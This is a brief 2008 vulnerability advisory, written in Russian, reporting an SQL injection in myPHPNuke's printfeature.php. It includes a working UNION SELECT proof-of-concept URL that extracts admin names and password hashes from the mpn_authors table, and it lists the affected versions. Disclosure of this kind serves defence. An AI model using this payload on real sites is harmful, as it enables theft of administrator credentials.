SQL Injection vulnerability in myPHPNuke

2008-09-04T00:00:00
ID SECURITYVULNS:DOC:20445
Type securityvulns
Reporter Securityvulns
Modified 2008-09-04T00:00:00

Description

Здравствуйте 3APA3A!

Сообщаю вам о найденной мною новой SQL Injection уязвимости в системе myPHPNuke.

SQL Injection:

http://site/printfeature.php?artid=-1%20union%20select%20null,null,aid,pwd,null,null,null,null%20from%20mpn_authors%20limit%200,1

Уязвимы версии до myPHPNuke 1.8.8_8rc2 (а в последней версии системы возможна ограниченная SQL Injection атака).

Дополнительная информация о данной уязвимости у меня на сайте: http://websecurity.com.ua/2398/

Best wishes & regards, MustLive Администратор сайта http://websecurity.com.ua